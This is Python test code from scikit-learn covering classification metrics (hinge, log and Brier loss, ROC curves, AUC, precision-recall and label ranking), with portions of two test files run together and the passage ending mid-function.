    # in common invariance tests because invariance tests for multiclass
    # decision functions is not implemented yet.
    y_true = ['blue', 'green', 'red',
              'green', 'white', 'red']
    pred_decision = [
        [+0.36, -0.17, -0.58, -0.99],
        [-0.55, -0.38, -0.48, -0.58],
        [-1.45, -0.58, -0.38, -0.17],
        [-0.55, -0.38, -0.48, -0.58],
        [-2.36, -0.79, -0.27, +0.24],
        [-1.45, -0.58, -0.38, -0.17]]
    dummy_losses = np.array([
        1 - pred_decision[0][0] + pred_decision[0][1],
        1 - pred_decision[1][1] + pred_decision[1][2],
        1 - pred_decision[2][2] + pred_decision[2][3],
        1 - pred_decision[3][1] + pred_decision[3][2],
        1 - pred_decision[4][3] + pred_decision[4][2],
        1 - pred_decision[5][2] + pred_decision[5][3]
    ])
    dummy_losses[dummy_losses <= 0] = 0
    dummy_hinge_loss = np.mean(dummy_losses)
    assert_equal(hinge_loss(y_true, pred_decision),
                 dummy_hinge_loss)


def test_log_loss():
    # binary case with symbolic labels ("no" < "yes")
    y_true = ["no", "no", "no", "yes", "yes", "yes"]
    y_pred = np.array([[0.5, 0.5], [0.1, 0.9], [0.01, 0.99],
                       [0.9, 0.1], [0.75, 0.25], [0.001, 0.999]])
    loss = log_loss(y_true, y_pred)
    assert_almost_equal(loss, 1.8817971)

    # multiclass case; adapted from http://bit.ly/RJJHWA
    y_true = [1, 0, 2]
    y_pred = [[0.2, 0.7, 0.1], [0.6, 0.2, 0.2], [0.6, 0.1, 0.3]]
    loss = log_loss(y_true, y_pred, normalize=True)
    assert_almost_equal(loss, 0.6904911)

    # check that we got all the shapes and axes right
    # by doubling the length of y_true and y_pred
    y_true *= 2
    y_pred *= 2
    loss = log_loss(y_true, y_pred, normalize=False)
    assert_almost_equal(loss, 0.6904911 * 6, decimal=6)

    # check eps and handling of absolute zero and one probabilities
    y_pred = np.asarray(y_pred) > .5
    loss = log_loss(y_true, y_pred, normalize=True, eps=.1)
    assert_almost_equal(loss, log_loss(y_true, np.clip(y_pred, .1, .9)))

    # raise error if number of classes are not equal.
    y_true = [1, 0, 2]
    y_pred = [[0.2, 0.7], [0.6, 0.5], [0.4, 0.1]]
    assert_raises(ValueError, log_loss, y_true, y_pred)

    # case when y_true is a string array object
    y_true = ["ham", "spam", "spam", "ham"]
    y_pred = [[0.2, 0.7], [0.6, 0.5], [0.4, 0.1], [0.7, 0.2]]
    loss = log_loss(y_true, y_pred)
    assert_almost_equal(loss, 1.0383217, decimal=6)


def test_log_loss_pandas_input():
    # case when input is a pandas series and dataframe gh-5715
    y_tr = np.array(["ham", "spam", "spam", "ham"])
    y_pr = np.array([[0.2, 0.7], [0.6, 0.5], [0.4, 0.1], [0.7, 0.2]])
    types = [(MockDataFrame, MockDataFrame)]
    try:
        from pandas import Series, DataFrame
        types.append((Series, DataFrame))
    except ImportError:
        pass
    for TrueInputType, PredInputType in types:
        # y_pred dataframe, y_true series
        y_true, y_pred = TrueInputType(y_tr), PredInputType(y_pr)
        loss = log_loss(y_true, y_pred)
        assert_almost_equal(loss, 1.0383217, decimal=6)


def test_brier_score_loss():
    # Check brier_score_loss function
    y_true = np.array([0, 1, 1, 0, 1, 1])
    y_pred = np.array([0.1, 0.8, 0.9, 0.3, 1., 0.95])
    true_score = linalg.norm(y_true - y_pred) ** 2 / len(y_true)

    assert_almost_equal(brier_score_loss(y_true, y_true), 0.0)
    assert_almost_equal(brier_score_loss(y_true, y_pred), true_score)
    assert_almost_equal(brier_score_loss(1. + y_true, y_pred),
                        true_score)
    assert_almost_equal(brier_score_loss(2 * y_true - 1, y_pred),
                        true_score)
    assert_raises(ValueError, brier_score_loss, y_true, y_pred[1:])
    assert_raises(ValueError, brier_score_loss, y_true, y_pred + 1.)
    assert_raises(ValueError, brier_score_loss, y_true, y_pred - 1.)
    # calculate even if only single class in y_true (#6980)
    assert_almost_equal(brier_score_loss([0], [0.5]), 0.25)
    assert_almost_equal(brier_score_loss([1], [0.5]), 0.25)






from __future__ import division, print_function

import numpy as np
from itertools import product
import warnings
from scipy.sparse import csr_matrix

from sklearn import datasets
from sklearn import svm
from sklearn import ensemble

from sklearn.datasets import make_multilabel_classification
from sklearn.random_projection import sparse_random_matrix
from sklearn.utils.validation import check_array, check_consistent_length
from sklearn.utils.validation import check_random_state

from sklearn.utils.testing import assert_raises, clean_warning_registry
from sklearn.utils.testing import assert_raise_message
from sklearn.utils.testing import assert_equal
from sklearn.utils.testing import assert_almost_equal
from sklearn.utils.testing import assert_array_equal
from sklearn.utils.testing import assert_array_almost_equal
from sklearn.utils.testing import assert_warns

from sklearn.metrics import auc
from sklearn.metrics import average_precision_score
from sklearn.metrics import coverage_error
from sklearn.metrics import label_ranking_average_precision_score
from sklearn.metrics import precision_recall_curve
from sklearn.metrics import label_ranking_loss
from sklearn.metrics import roc_auc_score
from sklearn.metrics import roc_curve

from sklearn.exceptions import UndefinedMetricWarning


###############################################################################
# Utilities for testing

def make_prediction(dataset=None, binary=False):
    """Make some classification predictions on a toy dataset using a SVC

    If binary is True restrict to a binary classification problem instead of a
    multiclass classification problem
    """

    if dataset is None:
        # import some data to play with
        dataset = datasets.load_iris()

    X = dataset.data
    y = dataset.target

    if binary:
        # restrict to a binary classification task
        X, y = X[y < 2], y[y < 2]

    n_samples, n_features = X.shape
    p = np.arange(n_samples)

    rng = check_random_state(37)
    rng.shuffle(p)
    X, y = X[p], y[p]
    half = int(n_samples / 2)

    # add noisy features to make the problem harder and avoid perfect results
    rng = np.random.RandomState(0)
    X = np.c_[X, rng.randn(n_samples, 200 * n_features)]

    # run classifier, get class probabilities and label predictions
    clf = svm.SVC(kernel='linear', probability=True, random_state=0)
    probas_pred = clf.fit(X[:half], y[:half]).predict_proba(X[half:])

    if binary:
        # only interested in probabilities of the positive case
        # XXX: do we really want a special API for the binary case?
        probas_pred = probas_pred[:, 1]

    y_pred = clf.predict(X[half:])
    y_true = y[half:]
    return y_true, y_pred, probas_pred


###############################################################################
# Tests

def _auc(y_true, y_score):
    """Alternative implementation to check for correctness of
    `roc_auc_score`."""
    pos_label = np.unique(y_true)[1]

    # Count the number of times positive samples are correctly ranked above
    # negative samples.
    pos = y_score[y_true == pos_label]
    neg = y_score[y_true != pos_label]
    diff_matrix = pos.reshape(1, -1) - neg.reshape(-1, 1)
    n_correct = np.sum(diff_matrix > 0)

    return n_correct / float(len(pos) * len(neg))


def _average_precision(y_true, y_score):
    """Alternative implementation to check for correctness of
    `average_precision_score`."""
    pos_label = np.unique(y_true)[1]
    n_pos = np.sum(y_true == pos_label)
    order = np.argsort(y_score)[::-1]
    y_score = y_score[order]
    y_true = y_true[order]

    score = 0
    for i in range(len(y_score)):
        if y_true[i] == pos_label:
            # Compute precision up to document i
            # i.e, percentage of relevant documents up to document i.
            prec = 0
            for j in range(0, i + 1):
                if y_true[j] == pos_label:
                    prec += 1.0
            prec /= (i + 1.0)
            score += prec

    return score / n_pos


def test_roc_curve():
    # Test Area under Receiver Operating Characteristic (ROC) curve
    y_true, _, probas_pred = make_prediction(binary=True)
    expected_auc = _auc(y_true, probas_pred)

    for drop in [True, False]:
        fpr, tpr, thresholds = roc_curve(y_true, probas_pred,
                                         drop_intermediate=drop)
        roc_auc = auc(fpr, tpr)
        assert_array_almost_equal(roc_auc, expected_auc, decimal=2)
        assert_almost_equal(roc_auc, roc_auc_score(y_true, probas_pred))
        assert_equal(fpr.shape, tpr.shape)
        assert_equal(fpr.shape, thresholds.shape)


def test_roc_curve_end_points():
    # Make sure that roc_curve returns a curve start at 0 and ending and
    # 1 even in corner cases
    rng = np.random.RandomState(0)
    y_true = np.array([0] * 50 + [1] * 50)
    y_pred = rng.randint(3, size=100)
    fpr, tpr, thr = roc_curve(y_true, y_pred, drop_intermediate=True)
    assert_equal(fpr[0], 0)
    assert_equal(fpr[-1], 1)
    assert_equal(fpr.shape, tpr.shape)
    assert_equal(fpr.shape, thr.shape)


def test_roc_returns_consistency():
    # Test whether the returned threshold matches up with tpr
    # make small toy dataset
    y_true, _, probas_pred = make_prediction(binary=True)
    fpr, tpr, thresholds = roc_curve(y_true, probas_pred)

    # use the given thresholds to determine the tpr
    tpr_correct = []
    for t in thresholds:
        tp = np.sum((probas_pred >= t) & y_true)
        p = np.sum(y_true)
        tpr_correct.append(1.0 * tp / p)

    # compare tpr and tpr_correct to see if the thresholds' order was correct
    assert_array_almost_equal(tpr, tpr_correct, decimal=2)
    assert_equal(fpr.shape, tpr.shape)
    assert_equal(fpr.shape, thresholds.shape)


def test_roc_nonrepeating_thresholds():
    # Test to ensure that we don't return spurious repeating thresholds.
    # Duplicated thresholds can arise due to machine precision issues.
    dataset = datasets.load_digits()
    X = dataset['data']
    y = dataset['target']

    # This random forest classifier can only return probabilities
    # significant to two decimal places
    clf = ensemble.RandomForestClassifier(n_estimators=100, random_state=0)

    # How well can the classifier predict whether a digit is less than 5?
    # This task contributes floating point roundoff errors to the probabilities
    train, test = slice(None, None, 2), slice(1, None, 2)
    probas_pred = clf.fit(X[train], y[train]).predict_proba(X[test])
    y_score = probas_pred[:, :5].sum(axis=1)  # roundoff errors begin here
    y_true = [yy < 5 for yy in y[test]]

    # Check for repeating values in the thresholds
    fpr, tpr, thresholds = roc_curve(y_true, y_score, drop_intermediate=False)
    assert_equal(thresholds.size, np.unique(np.round(thresholds, 2)).size)


def test_roc_curve_multi():
    # roc_curve not applicable for multi-class problems
    y_true, _, probas_pred = make_prediction(binary=False)

    assert_raises(ValueError, roc_curve, y_true, probas_pred)


def test_roc_curve_confidence():
    # roc_curve for confidence scores
    y_true, _, probas_pred = make_prediction(binary=True)

    fpr, tpr, thresholds = roc_curve(y_true, probas_pred - 0.5)
    roc_auc = auc(fpr, tpr)
    assert_array_almost_equal(roc_auc, 0.90, decimal=2)
    assert_equal(fpr.shape, tpr.shape)
    assert_equal(fpr.shape, thresholds.shape)


def test_roc_curve_hard():
    # roc_curve for hard decisions
    y_true, pred, probas_pred = make_prediction(binary=True)

    # always predict one
    trivial_pred = np.ones(y_true.shape)
    fpr, tpr, thresholds = roc_curve(y_true, trivial_pred)
    roc_auc = auc(fpr, tpr)
    assert_array_almost_equal(roc_auc, 0.50, decimal=2)
    assert_equal(fpr.shape, tpr.shape)
    assert_equal(fpr.shape, thresholds.shape)

    # always predict zero
    trivial_pred = np.zeros(y_true.shape)
    fpr, tpr, thresholds = roc_curve(y_true, trivial_pred)
    roc_auc = auc(fpr, tpr)
    assert_array_almost_equal(roc_auc, 0.50, decimal=2)
    assert_equal(fpr.shape, tpr.shape)
    assert_equal(fpr.shape, thresholds.shape)

    # hard decisions
    fpr, tpr, thresholds = roc_curve(y_true, pred)
    roc_auc = auc(fpr, tpr)
    assert_array_almost_equal(roc_auc, 0.78, decimal=2)
    assert_equal(fpr.shape, tpr.shape)
    assert_equal(fpr.shape, thresholds.shape)


def test_roc_curve_one_label():
    y_true = [1, 1, 1, 1, 1, 1, 1, 1, 1, 1]
    y_pred = [0, 1, 0, 1, 0, 1, 0, 1, 0, 1]
    # assert there are warnings
    w = UndefinedMetricWarning
    fpr, tpr, thresholds = assert_warns(w, roc_curve, y_true, y_pred)
    # all true labels, all fpr should be nan
    assert_array_equal(fpr,
                       np.nan * np.ones(len(thresholds)))
    assert_equal(fpr.shape, tpr.shape)
    assert_equal(fpr.shape, thresholds.shape)

    # assert there are warnings
    fpr, tpr, thresholds = assert_warns(w, roc_curve,
                                        [1 - x for x in y_true],
                                        y_pred)
    # all negative labels, all tpr should be nan
    assert_array_equal(tpr,
                       np.nan * np.ones(len(thresholds)))
    assert_equal(fpr.shape, tpr.shape)
    assert_equal(fpr.shape, thresholds.shape)


def test_roc_curve_toydata():
    # Binary classification
    y_true = [0, 1]
    y_score = [0, 1]
    tpr, fpr, _ = roc_curve(y_true, y_score)
    roc_auc = roc_auc_score(y_true, y_score)
    assert_array_almost_equal(tpr, [0, 1])
    assert_array_almost_equal(fpr, [1, 1])
    assert_almost_equal(roc_auc, 1.)

    y_true = [0, 1]
    y_score = [1, 0]
    tpr, fpr, _ = roc_curve(y_true, y_score)
    roc_auc = roc_auc_score(y_true, y_score)
    assert_array_almost_equal(tpr, [0, 1, 1])
    assert_array_almost_equal(fpr, [0, 0, 1])
    assert_almost_equal(roc_auc, 0.)

    y_true = [1, 0]
    y_score = [1, 1]
    tpr, fpr, _ = roc_curve(y_true, y_score)
    roc_auc = roc_auc_score(y_true, y_score)
    assert_array_almost_equal(tpr, [0, 1])
    assert_array_almost_equal(fpr, [0, 1])
    assert_almost_equal(roc_auc, 0.5)

    y_true = [1, 0]
    y_score = [1, 0]
    tpr, fpr, _ = roc_curve(y_true, y_score)
    roc_auc = roc_auc_score(y_true, y_score)
    assert_array_almost_equal(tpr, [0, 1])
    assert_array_almost_equal(fpr, [1, 1])
    assert_almost_equal(roc_auc, 1.)

    y_true = [1, 0]
    y_score = [0.5, 0.5]
    tpr, fpr, _ = roc_curve(y_true, y_score)
    roc_auc = roc_auc_score(y_true, y_score)
    assert_array_almost_equal(tpr, [0, 1])
    assert_array_almost_equal(fpr, [0, 1])
    assert_almost_equal(roc_auc, .5)

    y_true = [0, 0]
    y_score = [0.25, 0.75]
    # assert UndefinedMetricWarning because of no positive sample in y_true
    tpr, fpr, _ = assert_warns(UndefinedMetricWarning, roc_curve, y_true, y_score)
    assert_raises(ValueError, roc_auc_score, y_true, y_score)
    assert_array_almost_equal(tpr, [0., 0.5, 1.])
    assert_array_almost_equal(fpr, [np.nan, np.nan, np.nan])

    y_true = [1, 1]
    y_score = [0.25, 0.75]
    # assert UndefinedMetricWarning because of no negative sample in y_true
    tpr, fpr, _ = assert_warns(UndefinedMetricWarning, roc_curve, y_true, y_score)
    assert_raises(ValueError, roc_auc_score, y_true, y_score)
    assert_array_almost_equal(tpr, [np.nan, np.nan])
    assert_array_almost_equal(fpr, [0.5, 1.])

    # Multi-label classification task
    y_true = np.array([[0, 1], [0, 1]])
    y_score = np.array([[0, 1], [0, 1]])
    assert_raises(ValueError, roc_auc_score, y_true, y_score, average="macro")
    assert_raises(ValueError, roc_auc_score, y_true, y_score,
                  average="weighted")
    assert_almost_equal(roc_auc_score(y_true, y_score, average="samples"), 1.)
    assert_almost_equal(roc_auc_score(y_true, y_score, average="micro"), 1.)

    y_true = np.array([[0, 1], [0, 1]])
    y_score = np.array([[0, 1], [1, 0]])
    assert_raises(ValueError, roc_auc_score, y_true, y_score, average="macro")
    assert_raises(ValueError, roc_auc_score, y_true, y_score,
                  average="weighted")
    assert_almost_equal(roc_auc_score(y_true, y_score, average="samples"), 0.5)
    assert_almost_equal(roc_auc_score(y_true, y_score, average="micro"), 0.5)

    y_true = np.array([[1, 0], [0, 1]])
    y_score = np.array([[0, 1], [1, 0]])
    assert_almost_equal(roc_auc_score(y_true, y_score, average="macro"), 0)
    assert_almost_equal(roc_auc_score(y_true, y_score, average="weighted"), 0)
    assert_almost_equal(roc_auc_score(y_true, y_score, average="samples"), 0)
    assert_almost_equal(roc_auc_score(y_true, y_score, average="micro"), 0)

    y_true = np.array([[1, 0], [0, 1]])
    y_score = np.array([[0.5, 0.5], [0.5, 0.5]])
    assert_almost_equal(roc_auc_score(y_true, y_score, average="macro"), .5)
    assert_almost_equal(roc_auc_score(y_true, y_score, average="weighted"), .5)
    assert_almost_equal(roc_auc_score(y_true, y_score, average="samples"), .5)
    assert_almost_equal(roc_auc_score(y_true, y_score, average="micro"), .5)


def test_roc_curve_drop_intermediate():
    # Test that drop_intermediate drops the correct thresholds
    y_true = [0, 0, 0, 0, 1, 1]
    y_score = [0., 0.2, 0.5, 0.6, 0.7, 1.0]
    tpr, fpr, thresholds = roc_curve(y_true, y_score, drop_intermediate=True)
    assert_array_almost_equal(thresholds, [1., 0.7, 0.])

    # Test dropping thresholds with repeating scores
    y_true = [0, 0, 0, 0, 0, 0, 0,
              1, 1, 1, 1, 1, 1]
    y_score = [0., 0.1, 0.6, 0.6, 0.7, 0.8, 0.9,
               0.6, 0.7, 0.8, 0.9, 0.9, 1.0]
    tpr, fpr, thresholds = roc_curve(y_true, y_score, drop_intermediate=True)
    assert_array_almost_equal(thresholds,
                              [1.0, 0.9, 0.7, 0.6, 0.])


def test_auc():
    # Test Area Under Curve (AUC) computation
    x = [0, 1]
    y = [0, 1]
    assert_array_almost_equal(auc(x, y), 0.5)
    x = [1, 0]
    y = [0, 1]
    assert_array_almost_equal(auc(x, y), 0.5)
    x = [1, 0, 0]
    y = [0, 1, 1]
    assert_array_almost_equal(auc(x, y), 0.5)
    x = [0, 1]
    y = [1, 1]
    assert_array_almost_equal(auc(x, y), 1)
    x = [0, 0.5, 1]
    y = [0, 0.5, 1]
    assert_array_almost_equal(auc(x, y), 0.5)


def test_auc_duplicate_values():
    # Test Area Under Curve (AUC) computation with duplicate values

    # auc() was previously sorting the x and y arrays according to the indices
    # from numpy.argsort(x), which was reordering the tied 0's in this example
    # and resulting in an incorrect area computation. This test detects the
    # error.
    x = [-2.0, 0.0, 0.0, 0.0, 1.0]
    y1 = [2.0, 0.0, 0.5, 1.0, 1.0]
    y2 = [2.0, 1.0, 0.0, 0.5, 1.0]
    y3 = [2.0, 1.0, 0.5, 0.0, 1.0]

    for y in (y1, y2, y3):
        assert_array_almost_equal(auc(x, y, reorder=True), 3.0)


def test_auc_errors():
    # Incompatible shapes
    assert_raises(ValueError, auc, [0.0, 0.5, 1.0], [0.1, 0.2])

    # Too few x values
    assert_raises(ValueError, auc, [0.0], [0.1])

    # x is not in order
    assert_raises(ValueError, auc, [1.0, 0.0, 0.5], [0.0, 0.0, 0.0])


def test_auc_score_non_binary_class():
    # Test that roc_auc_score function returns an error when trying
    # to compute AUC for non-binary class values.
    rng = check_random_state(404)
    y_pred = rng.rand(10)
    # y_true contains only one class value
    y_true = np.zeros(10, dtype="int")
    assert_raise_message(ValueError, "ROC AUC score is not defined",
                         roc_auc_score, y_true, y_pred)
    y_true = np.ones(10, dtype="int")
    assert_raise_message(ValueError, "ROC AUC score is not defined",
                         roc_auc_score, y_true, y_pred)
    y_true = -np.ones(10, dtype="int")
    assert_raise_message(ValueError, "ROC AUC score is not defined",
                         roc_auc_score, y_true, y_pred)
    # y_true contains three different class values
    y_true = rng.randint(0, 3, size=10)
    assert_raise_message(ValueError, "multiclass format is not supported",
                         roc_auc_score, y_true, y_pred)

    clean_warning_registry()
    with warnings.catch_warnings(record=True):
        rng = check_random_state(404)
        y_pred = rng.rand(10)
        # y_true contains only one class value
        y_true = np.zeros(10, dtype="int")
        assert_raise_message(ValueError, "ROC AUC score is not defined",
                             roc_auc_score, y_true, y_pred)
        y_true = np.ones(10, dtype="int")
        assert_raise_message(ValueError, "ROC AUC score is not defined",
                             roc_auc_score, y_true, y_pred)
        y_true = -np.ones(10, dtype="int")
        assert_raise_message(ValueError, "ROC AUC score is not defined",
                             roc_auc_score, y_true, y_pred)

        # y_true contains three different class values
        y_true = rng.randint(0, 3, size=10)
        assert_raise_message(ValueError, "multiclass format is not supported",
                             roc_auc_score, y_true, y_pred)


def test_precision_recall_curve():
    y_true, _, probas_pred = make_prediction(binary=True)
    _test_precision_recall_curve(y_true, probas_pred)

    # Use {-1, 1} for labels; make sure original labels aren't modified
    y_true[np.where(y_true == 0)] = -1
    y_true_copy = y_true.copy()
    _test_precision_recall_curve(y_true, probas_pred)
    assert_array_equal(y_true_copy, y_true)

    labels = [1, 0, 0, 1]
    predict_probas = [1, 2, 3, 4]
    p, r, t = precision_recall_curve(labels, predict_probas)
    assert_array_almost_equal(p, np.array([0.5, 0.33333333, 0.5, 1., 1.]))
    assert_array_almost_equal(r, np.array([1., 0.5, 0.5, 0.5, 0.]))
    assert_array_almost_equal(t, np.array([1, 2, 3, 4]))
    assert_equal(p.size, r.size)
    assert_equal(p.size, t.size + 1)


def test_precision_recall_curve_pos_label():
    y_true, _, probas_pred = make_prediction(binary=False)
    pos_label = 2
    p, r, thresholds = precision_recall_curve(y_true,
                                              probas_pred[:, pos_label],
                                              pos_label=pos_label)
    p2, r2, thresholds2 = precision_recall_curve(y_true == pos_label,
                                                 probas_pred[:, pos_label])
    assert_array_almost_equal(p, p2)
    assert_array_almost_equal(r, r2)
    assert_array_almost_equal(thresholds, thresholds2)
    assert_equal(p.size, r.size)
    assert_equal(p.size, thresholds.size + 1)


def _test_precision_recall_curve(y_true, probas_pred):
    # Test Precision-Recall and aread under PR curve
    p, r, thresholds = precision_recall_curve(y_true, probas_pred)
    precision_recall_auc = auc(r, p)
    assert_array_almost_equal(precision_recall_auc, 0.85, 2)
    assert_array_almost_equal(precision_recall_auc,
                              average_precision_score(y_true, probas_pred))
    assert_almost_equal(_average_precision(y_true, probas_pred),
                        precision_recall_auc, 1)
    assert_equal(p.size, r.size)
    assert_equal(p.size, thresholds.size + 1)
    # Smoke test in the case of proba having only one value
    p, r, thresholds = precision_recall_curve(y_true,
                                              np.zeros_like(probas_pred))
    precision_recall_auc = auc(r, p)
    assert_array_almost_equal(precision_recall_auc, 0.75, 3)
    assert_equal(p.size, r.size)
    assert_equal(p.size, thresholds.size + 1)


def test_precision_recall_curve_errors():
    # Contains non-binary labels
    assert_raises(ValueError, precision_recall_curve,
                  [0, 1, 2], [[0.0], [1.0], [1.0]])


def test_precision_recall_curve_toydata():
    with np.errstate(all="raise"):
        # Binary classification
        y_true = [0, 1]
        y_score = [0, 1]
        p, r, _ = precision_recall_curve(y_true, y_score)
        auc_prc = average_precision_score(y_true, y_score)
        assert_array_almost_equal(p, [1, 1])
        assert_array_almost_equal(r, [1, 0])
        assert_almost_equal(auc_prc, 1.)

        y_true = [0, 1]
        y_score = [1, 0]
        p, r, _ = precision_recall_curve(y_true, y_score)
        auc_prc = average_precision_score(y_true, y_score)
        assert_array_almost_equal(p, [0.5, 0., 1.])
        assert_array_almost_equal(r, [1., 0.,  0.])
        assert_almost_equal(auc_prc, 0.25)

        y_true = [1, 0]
        y_score = [1, 1]
        p, r, _ = precision_recall_curve(y_true, y_score)
        auc_prc = average_precision_score(y_true, y_score)
        assert_array_almost_equal(p, [0.5, 1])
        assert_array_almost_equal(r, [1., 0])
        assert_almost_equal(auc_prc, .75)

        y_true = [1, 0]
        y_score = [1, 0]
        p, r, _ = precision_recall_curve(y_true, y_score)
        auc_prc = average_precision_score(y_true, y_score)
        assert_array_almost_equal(p, [1, 1])
        assert_array_almost_equal(r, [1, 0])
        assert_almost_equal(auc_prc, 1.)

        y_true = [1, 0]
        y_score = [0.5, 0.5]
        p, r, _ = precision_recall_curve(y_true, y_score)
        auc_prc = average_precision_score(y_true, y_score)
        assert_array_almost_equal(p, [0.5, 1])
        assert_array_almost_equal(r, [1, 0.])
        assert_almost_equal(auc_prc, .75)

        y_true = [0, 0]
        y_score = [0.25, 0.75]
        assert_raises(Exception, precision_recall_curve, y_true, y_score)
        assert_raises(Exception, average_precision_score, y_true, y_score)

        y_true = [1, 1]
        y_score = [0.25, 0.75]
        p, r, _ = precision_recall_curve(y_true, y_score)
        assert_almost_equal(average_precision_score(y_true, y_score), 1.)
        assert_array_almost_equal(p, [1., 1., 1.])
        assert_array_almost_equal(r, [1, 0.5, 0.])

        # Multi-label classification task
        y_true = np.array([[0, 1], [0, 1]])
        y_score = np.array([[0, 1], [0, 1]])
        assert_raises(Exception, average_precision_score, y_true, y_score,
                      average="macro")
        assert_raises(Exception, average_precision_score, y_true, y_score,
                      average="weighted")
        assert_almost_equal(average_precision_score(y_true, y_score,
                            average="samples"), 1.)
        assert_almost_equal(average_precision_score(y_true, y_score,
                            average="micro"), 1.)

        y_true = np.array([[0, 1], [0, 1]])
        y_score = np.array([[0, 1], [1, 0]])
        assert_raises(Exception, average_precision_score, y_true, y_score,
                      average="macro")
        assert_raises(Exception, average_precision_score, y_true, y_score,
                      average="weighted")
        assert_almost_equal(average_precision_score(y_true, y_score,
                            average="samples"), 0.625)
        assert_almost_equal(average_precision_score(y_true, y_score,
                            average="micro"), 0.625)

        y_true = np.array([[1, 0], [0, 1]])
        y_score = np.array([[0, 1], [1, 0]])
        assert_almost_equal(average_precision_score(y_true, y_score,
                            average="macro"), 0.25)
        assert_almost_equal(average_precision_score(y_true, y_score,
                            average="weighted"), 0.25)
        assert_almost_equal(average_precision_score(y_true, y_score,
                            average="samples"), 0.25)
        assert_almost_equal(average_precision_score(y_true, y_score,
                            average="micro"), 0.25)

        y_true = np.array([[1, 0], [0, 1]])
        y_score = np.array([[0.5, 0.5], [0.5, 0.5]])
        assert_almost_equal(average_precision_score(y_true, y_score,
                            average="macro"), 0.75)
        assert_almost_equal(average_precision_score(y_true, y_score,
                            average="weighted"), 0.75)
        assert_almost_equal(average_precision_score(y_true, y_score,
                            average="samples"), 0.75)
        assert_almost_equal(average_precision_score(y_true, y_score,
                            average="micro"), 0.75)


def test_score_scale_invariance():
    # Test that average_precision_score and roc_auc_score are invariant by
    # the scaling or shifting of probabilities
    y_true, _, probas_pred = make_prediction(binary=True)

    roc_auc = roc_auc_score(y_true, probas_pred)
    roc_auc_scaled = roc_auc_score(y_true, 100 * probas_pred)
    roc_auc_shifted = roc_auc_score(y_true, probas_pred - 10)
    assert_equal(roc_auc, roc_auc_scaled)
    assert_equal(roc_auc, roc_auc_shifted)

    pr_auc = average_precision_score(y_true, probas_pred)
    pr_auc_scaled = average_precision_score(y_true, 100 * probas_pred)
    pr_auc_shifted = average_precision_score(y_true, probas_pred - 10)
    assert_equal(pr_auc, pr_auc_scaled)
    assert_equal(pr_auc, pr_auc_shifted)


def check_lrap_toy(lrap_score):
    # Check on several small example that it works
    assert_almost_equal(lrap_score([[0, 1]], [[0.25, 0.75]]), 1)
    assert_almost_equal(lrap_score([[0, 1]], [[0.75, 0.25]]), 1 / 2)
    assert_almost_equal(lrap_score([[1, 1]], [[0.75, 0.25]]), 1)

    assert_almost_equal(lrap_score([[0, 0, 1]], [[0.25, 0.5, 0.75]]), 1)
    assert_almost_equal(lrap_score([[0, 1, 0]], [[0.25, 0.5, 0.75]]), 1 / 2)
    assert_almost_equal(lrap_score([[0, 1, 1]], [[0.25, 0.5, 0.75]]), 1)
    assert_almost_equal(lrap_score([[1, 0, 0]], [[0.25, 0.5, 0.75]]), 1 / 3)
    assert_almost_equal(lrap_score([[1, 0, 1]], [[0.25, 0.5, 0.75]]),
                        (2 / 3 + 1 / 1) / 2)
    assert_almost_equal(lrap_score([[1, 1, 0]], [[0.25, 0.5, 0.75]]),
                        (2 / 3 + 1 / 2) / 2)

    assert_almost_equal(lrap_score([[0, 0, 1]], [[0.75, 0.5, 0.25]]), 1 / 3)
    assert_almost_equal(lrap_score([[0, 1, 0]], [[0.75, 0.5, 0.25]]), 1 / 2)
    assert_almost_equal(lrap_score([[0, 1, 1]], [[0.75, 0.5, 0.25]]),
                        (1 / 2 + 2 / 3) / 2)
    assert_almost_equal(lrap_score([[1, 0, 0]], [[0.75, 0.5, 0.25]]), 1)
    assert_almost_equal(lrap_score([[1, 0, 1]], [[0.75, 0.5, 0.25]]),
                        (1 + 2 / 3) / 2)
    assert_almost_equal(lrap_score([[1, 1, 0]], [[0.75, 0.5, 0.25]]), 1)
    assert_almost_equal(lrap_score([[1, 1, 1]], [[0.75, 0.5, 0.25]]), 1)

    assert_almost_equal(lrap_score([[0, 0, 1]], [[0.5, 0.75, 0.25]]), 1 / 3)
    assert_almost_equal(lrap_score([[0, 1, 0]], [[0.5, 0.75, 0.25]]), 1)
    assert_almost_equal(lrap_score([[0, 1, 1]], [[0.5, 0.75, 0.25]]),
                        (1 + 2 / 3) / 2)
    assert_almost_equal(lrap_score([[1, 0, 0]], [[0.5, 0.75, 0.25]]), 1 / 2)
    assert_almost_equal(lrap_score([[1, 0, 1]], [[0.5, 0.75, 0.25]]),
                        (1 / 2 + 2 / 3) / 2)
    assert_almost_equal(lrap_score([[1, 1, 0]], [[0.5, 0.75, 0.25]]), 1)
    assert_almost_equal(lrap_score([[1, 1, 1]], [[0.5, 0.75, 0.25]]), 1)

    # Tie handling
    assert_almost_equal(lrap_score([[1, 0]], [[0.5, 0.5]]), 0.5)
    assert_almost_equal(lrap_score([[0, 1]], [[0.5, 0.5]]), 0.5)
    assert_almost_equal(lrap_score([[1, 1]], [[0.5, 0.5]]), 1)

    assert_almost_equal(lrap_score([[0, 0, 1]], [[0.25, 0.5, 0.5]]), 0.5)
    assert_almost_equal(lrap_score([[0, 1, 0]], [[0.25, 0.5, 0.5]]), 0.5)
    assert_almost_equal(lrap_score([[0, 1, 1]], [[0.25, 0.5, 0.5]]), 1)
    assert_almost_equal(lrap_score([[1, 0, 0]], [[0.25, 0.5, 0.5]]), 1 / 3)
    assert_almost_equal(lrap_score([[1, 0, 1]], [[0.25, 0.5, 0.5]]),
                        (2 / 3 + 1 / 2) / 2)
    assert_almost_equal(lrap_score([[1, 1, 0]], [[0.25, 0.5, 0.5]]),
                        (2 / 3 + 1 / 2) / 2)
    assert_almost_equal(lrap_score([[1, 1, 1]], [[0.25, 0.5, 0.5]]), 1)

    assert_almost_equal(lrap_score([[1, 1, 0]], [[0.5, 0.5, 0.5]]), 2 / 3)

    assert_almost_equal(lrap_score([[1, 1, 1, 0]], [[0.5, 0.5, 0.5, 0.5]]),
                        3 / 4)


def check_zero_or_all_relevant_labels(lrap_score):
    random_state = check_random_state(0)

    for n_labels in range(2, 5):
        y_score = random_state.uniform(size=(1, n_labels))
        y_score_ties = np.zeros_like(y_score)

        # No relevant labels
        y_true = np.zeros((1, n_labels))
        assert_equal(lrap_score(y_true, y_score), 1.)
        assert_equal(lrap_score(y_true, y_score_ties), 1.)

        # Only relevant labels
        y_true = np.ones((1, n_labels))
        assert_equal(lrap_score(y_true, y_score), 1.)
        assert_equal(lrap_score(y_true, y_score_ties), 1.)

    # Degenerate case: only one label
